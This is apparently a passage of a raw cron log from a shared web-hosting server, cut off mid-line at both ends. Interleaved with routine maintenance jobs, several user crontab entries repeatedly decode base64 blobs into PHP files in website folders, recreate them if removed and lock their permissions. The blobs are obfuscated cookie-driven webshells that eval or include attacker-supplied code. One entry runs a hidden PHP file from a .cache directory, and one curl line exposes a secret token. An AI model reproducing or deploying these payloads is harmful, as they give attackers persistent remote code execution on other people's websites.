x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:18:01 medusa CROND[12844]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:18:01 medusa CROND[12851]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:18:01 medusa CROND[12852]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:18:01 medusa CROND[12855]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:18:01 medusa CROND[12856]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:18:01 medusa CROND[12862]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:18:01 medusa CROND[12863]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:19:01 medusa CROND[14376]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:19:01 medusa CROND[14387]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:19:01 medusa CROND[14389]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:19:01 medusa CROND[14390]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:19:01 medusa CROND[14391]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:19:01 medusa CROND[14388]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Jun  7 13:19:01 medusa CROND[14392]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:19:01 medusa CROND[14393]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:19:01 medusa CROND[14395]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:19:01 medusa CROND[14396]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:19:01 medusa CROND[14397]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:19:01 medusa CROND[14398]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:20:01 medusa CROND[15810]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15816]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15835]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Jun  7 13:20:02 medusa CROND[15836]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:20:02 medusa CROND[15837]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Jun  7 13:20:02 medusa CROND[15838]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15839]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15841]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Jun  7 13:20:02 medusa CROND[15843]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:20:02 medusa CROND[15842]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:20:02 medusa CROND[15844]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:20:02 medusa CROND[15846]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:20:02 medusa CROND[15847]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 